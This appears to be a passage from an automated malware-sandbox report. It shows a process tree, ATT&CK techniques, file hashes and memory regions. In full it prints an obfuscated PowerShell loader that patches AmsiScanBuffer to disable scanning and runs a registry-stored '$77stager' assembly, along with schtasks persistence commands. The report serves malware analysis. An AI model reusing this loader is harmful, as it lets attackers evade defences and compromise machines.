).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'ti'+'m'+'e'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $XTtmyckxsML.CreateType();}$nQiVzsIuKNPrp=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+'d'+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+'s'+'o'+[Char](102)+'t'+'.'+''+'W'+''+'i'+''+'n'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'fe'+'N'+''+[Char](97)+''+'t'+'iv'+'e'+''+[Char](77)+''+[Char](101)+''+'t'+''+'h'+'od'+'s'+'');$EsHoDxImuHnGnL=$nQiVzsIuKNPrp.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'r'+[Char](111)+''+'c'+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+'ub'+[Char](108)+'ic,'+[Char](83)+''+[Char](116)+'ati'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CFvKdRzLIMZdfooNbwq=wTFGeKLwCGwp @([String])([IntPtr]);$FacMhWIjqyfkJYqAvzARLe=wTFGeKLwCGwp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$KadAdlmSAfL=$nQiVzsIuKNPrp.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+'.d'+[Char](108)+''+[Char](108)+'')));$lgIYZORAXJjjpY=$EsHoDxImuHnGnL.Invoke($Null,@([Object]$KadAdlmSAfL,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'br'+'a'+''+[Char](114)+''+[Char](121)+'A')));$VdWAkijbihiuIKXBK=$EsHoDxImuHnGnL.Invoke($Null,@([Object]$KadAdlmSAfL,[Object]('V'+'i'+''+[Char](114)+''+'t'+'ua'+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+'t'+'ect')));$ECXOWTV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lgIYZORAXJjjpY,$CFvKdRzLIMZdfooNbwq).Invoke(''+[Char](97)+'m'+'s'+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$MXGIHAllYocOpSLID=$EsHoDxImuHnGnL.Invoke($Null,@([Object]$ECXOWTV,[Object](''+'A'+''+[Char](109)+'s'+'i'+'S'+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'fer')));$tVXxvtCTrx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VdWAkijbihiuIKXBK,$FacMhWIjqyfkJYqAvzARLe).Invoke($MXGIHAllYocOpSLID,[uint32]8,4,[ref]$tVXxvtCTrx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MXGIHAllYocOpSLID,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VdWAkijbihiuIKXBK,$FacMhWIjqyfkJYqAvzARLe).Invoke($MXGIHAllYocOpSLID,[uint32]8,0x20,[ref]$tVXxvtCTrx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+'T'+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+'t'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OnSsTcGlTXoK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XUcvPfnTCWvqOu,[Parameter(Position=1)][Type]$vHwIcKoZfy)$ndcYvqnbyaY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+'l'+'e'+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+'g'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+'le',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'bli'+'c'+''+','+'S'+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+'ns'+[Char](105)+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'utoC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$ndcYvqnbyaY.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+'c'+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$XUcvPfnTCWvqOu).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+'i'+'m'+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$ndcYvqnbyaY.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+'o'+''+'k'+''+[Char](101)+'','Pub'+'l'+'i'+'c'+','+'H'+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+'l'+''+[Char](111)+''+'t'+''+[Char](44)+'V'+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$vHwIcKoZfy,$XUcvPfnTCWvqOu).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+'im'+[Char](101)+''+','+'Man'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $ndcYvqnbyaY.CreateType();}$KAVeurjRsvTdx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+'sof'+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+'n'+'s'+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+'ds');$fFRohqcbBryjgq=$KAVeurjRsvTdx.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'ProcA'+'d'+'dr'+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'bl'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'t'+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$puWELlAXwDIDaTBpruj=OnSsTcGlTXoK @([String])([IntPtr]);$uYjbIGVdjUlUsKtxIXuFRG=OnSsTcGlTXoK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JtSvBjpuBPO=$KAVeurjRsvTdx.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+'an'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+'n'+''+[Char](101)+'l'+[Char](51)+'2'+'.'+'d'+[Char](108)+'l')));$AYPmqDIAOtDNMA=$fFRohqcbBryjgq.Invoke($Null,@([Object]$JtSvBjpuBPO,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+'r'+[Char](121)+''+'A'+'')));$MdKSkucCENEKmqApC=$fFRohqcbBryjgq.Invoke($Null,@([Object]$JtSvBjpuBPO,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+'ua'+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$SEAEWxD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AYPmqDIAOtDNMA,$puWELlAXwDIDaTBpruj).Invoke('a'+[Char](109)+'s'+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$hYEQHedRelFhyavbr=$fFRohqcbBryjgq.Invoke($Null,@([Object]$SEAEWxD,[Object]('A'+[Char](109)+'s'+[Char](105)+''+'S'+'c'+'a'+''+[Char](110)+'B'+'u'+'f'+[Char](102)+'e'+'r'+'')));$boAometOlq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MdKSkucCENEKmqApC,$uYjbIGVdjUlUsKtxIXuFRG).Invoke($hYEQHedRelFhyavbr,[uint32]8,4,[ref]$boAometOlq);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hYEQHedRelFhyavbr,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MdKSkucCENEKmqApC,$uYjbIGVdjUlUsKtxIXuFRG).Invoke($hYEQHedRelFhyavbr,[uint32]8,0x20,[ref]$boAometOlq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+'T'+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue('$7'+[Char](55)+'s'+'t'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3480

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
- Drops file in System32 directory
PID:1064

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1212

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1224

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1264

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1308

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1388

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1452
- c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3024

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1468

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1520

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1568

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1684

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1808

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1860

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1920

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1748

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:2144

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2348

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2364

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2372

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2432

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2576

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2592

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2616

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2624

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2696

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2916

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:3040

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:3292

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\system32\findstr.exe
    findstr /e "'v" "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
    3⤵
    PID:4596
- - C:\Windows\system32\cscript.exe
    cscript //nologo C:\Users\Admin\AppData\Local\Temp\x.vbs
    3⤵
    PID:2648
- - C:\Users\Admin\AppData\Local\Temp\x.exe
    C:\Users\Admin\AppData\Local\Temp\x.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\x.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:912
  - - C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
      "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3008
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
        5⤵
        Creates scheduled task(s)
        
        PID:2944
    - - C:\Users\Admin\AppData\Local\Temp\install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\install.exe"
        5⤵
        Executes dropped EXE
        
        PID:2240
  - - C:\Users\Admin\AppData\Local\Temp\install.exe
      "C:\Users\Admin\AppData\Local\Temp\install.exe"
      4⤵
      Executes dropped EXE
      PID:3576
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      "SCHTASKS.exe" /create /tn "$77x.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\x.exe'" /sc onlogon /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:812

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3948

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3512

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4956

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:2872

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2704

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4372

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4812

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:4152

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:5100

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:1500

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe
1⤵
PID:4332

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\x

Filesize
4KB

MD5
e4870e835feab58e50c0a2a05fdb733b

SHA1
d81f625b7dabc09e9fccd515dcd89c6c1da46ee6

SHA256
0ca17ef0a09d95e6751b571a80cc965de79bda8e94c35bdee537c897951125b1

SHA512
488234c5c66c3c18376ceff9493c2f12302dafce8b02cd7124bce7682031dad95712a8e652efe75629c101e3efa7347245892a8e89c735816c637ff7ecfb4cd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\x

Filesize
560KB

MD5
7a0b5e602d8f8674134628255c8955b3

SHA1
eb1171c299ac9dd2199d12d7084a9a68a8ab33ad

SHA256
2629b725c93d70dde683bd0bf89e749d4e7c469096a3f0d89fcf09ea871c0021

SHA512
b059685576ed14753eee0264a56f8d852036db659ec0aeb91527331ef967f349a8cd57c6f16302acdf6a900718e2588651aed051ed67e4a4f73bf4c0b00f4f41

Download Submit
C:\Users\Admin\AppData\Local\Temp\x.exe

Filesize
409KB

MD5
7417c8c73e614f293152575f46134216

SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805

SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\x.vbs

Filesize
380B

MD5
ec9a2fb69a379d913a4e0a953cd3b97c

SHA1
a0303ed9f787c042071a1286bba43a5bbdd0679e

SHA256
cf8268d158bb819ef158ff6ccbed64d5e379148a0adb1f73a082a01d56d0286b

SHA512
fef8e24a680991046bd7dacd6079c7e48c3031fe46caae722ea93797ee16c052073ba97959e992ea71ac7ab72fbcedaa5cf4a410657aac4c10ad24de6935e9d6

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_nip5ihpe.xfk.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04

Filesize
412B

MD5
65a63568e313872de0aded761edc8242

SHA1
8f9a0d8c74637e58b1c5c1c3328ca474dfb9667d

SHA256
c25d3cb42bd8facaf6212a152603a9cbd5fc9b47ae1fedd472a39a007093c0c7

SHA512
14c44f20f457d707dc701857dd1a5f0d7fc5435f86d91645c7b11e6827fab46eb5aa09ced3efb1e4810bde99c23cad4c612cc6f47767120118aa0784b67283db

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
3KB

MD5
676d33d16eff06cd9468943bf1909c9a

SHA1
05a9d5c521f52406d118a15d0c26b0c426327529

SHA256
7fe6f06531f00183f775c390f0f3e90047c291667c316314d949fe568cc9f55d

SHA512
9e8915cf93a8f26ff916305b6abf9b4282e6006e6c8aee4232d234554e6badc4a3d2af101c4e0ce6191564f186f3792dbd60a8066095d1f71d1fbab9aaac0435

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d61d7f65117823a52913b840feed43c6

SHA1
e2580207e1611dcb229ee9d2b4bb0bd4dbcc884f

SHA256
d0d50cb4ab1fe4b5dcb9c081d49b33381336fc0ebc7629702ed94d47f7032a86

SHA512
e4cf12f3642ce8746f39bcfaa6265d105919d1cbe863119f4413aa4c5d307d7d69f0638bd0434d47f651e183ec209f02dd7d44954c790ef4d585155817ed8a3c

Download Submit
memory/436-8040-0x000001CD9AF00000-0x000001CD9AF2A000-memory.dmp

Filesize
168KB

Download
memory/436-8041-0x00007FFC93BC0000-0x00007FFC93D9B000-memory.dmp

Filesize
1.9MB

Download
memory/436-8042-0x00007FFC91130000-0x00007FFC911DE000-memory.dmp

Filesize
696KB

Download
memory/436-8008-0x000001CD9ACE0000-0x000001CD9AD02000-memory.dmp

Filesize
136KB

Download
memory/436-8011-0x000001CD9AF40000-0x000001CD9AFB6000-memory.dmp

Filesize
472KB

Download
memory/584-8075-0x0000026C89950000-0x0000026C8997B000-memory.dmp

Filesize
172KB

Download
memory/584-8068-0x0000026C89950000-0x0000026C8997B000-memory.dmp

Filesize
172KB

Download
memory/584-8076-0x00007FFC53C50000-0x00007FFC53C60000-memory.dmp

Filesize
64KB

Download
memory/584-8069-0x0000026C89950000-0x0000026C8997B000-memory.dmp

Filesize
172KB

Download
memory/584-8067-0x0000026C89920000-0x0000026C89945000-memory.dmp

Filesize
148KB

Download
memory/640-8080-0x0000012A25690000-0x0000012A256BB000-memory.dmp

Filesize
172KB

Download
memory/640-8086-0x0000012A25690000-0x0000012A256BB000-memory.dmp

Filesize
172KB

Download
memory/640-8087-0x00007FFC53C50000-0x00007FFC53C60000-memory.dmp

Filesize
64KB

Download
memory/740-8098-0x00007FFC53C50000-0x00007FFC53C60000-memory.dmp

Filesize
64KB

Download
memory/740-8097-0x0000010EC5570000-0x0000010EC559B000-memory.dmp

Filesize
172KB

Download
memory/740-8091-0x0000010EC5570000-0x0000010EC559B000-memory.dmp

Filesize
172KB

Download
memory/900-8102-0x0000022515BE0000-0x0000022515C0B000-memory.dmp

Filesize
172KB

Download
memory/900-8108-0x0000022515BE0000-0x0000022515C0B000-memory.dmp

Filesize
172KB

Download
memory/900-8109-0x00007FFC53C50000-0x00007FFC53C60000-memory.dmp

Filesize
64KB

Download
memory/1008-8113-0x00000268314A0000-0x00000268314CB000-memory.dmp

Filesize
172KB

Download
memory/1600-7992-0x0000000005BD0000-0x0000000005C0E000-memory.dmp

Filesize
248KB

Download
memory/1600-7988-0x0000000004B90000-0x0000000004C22000-memory.dmp

Filesize
584KB

Download
memory/1600-7985-0x0000000073B4E000-0x0000000073B4F000-memory.dmp

Filesize
4KB

Download
memory/1600-7986-0x00000000002B0000-0x000000000031C000-memory.dmp

Filesize
432KB

Download
memory/1600-7987-0x0000000004FE0000-0x00000000054DE000-memory.dmp

Filesize
5.0MB

Download
memory/1600-7989-0x0000000073B40000-0x000000007422E000-memory.dmp

Filesize
6.9MB

Download
memory/1600-7990-0x0000000004C30000-0x0000000004C96000-memory.dmp

Filesize
408KB

Download
memory/1600-7991-0x00000000057E0000-0x00000000057F2000-memory.dmp

Filesize
72KB

Download
memory/1600-8003-0x0000000073B40000-0x000000007422E000-memory.dmp

Filesize
6.9MB

Download
memory/3008-8025-0x0000000006420000-0x000000000642A000-memory.dmp

Filesize
40KB

Download
memory/4328-8054-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-8053-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-8052-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-8058-0x00007FFC91130000-0x00007FFC911DE000-memory.dmp

Filesize
696KB

Download
memory/4328-8064-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-8056-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4328-8057-0x00007FFC93BC0000-0x00007FFC93D9B000-memory.dmp

Filesize
1.9MB

Download
memory/4328-8051-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download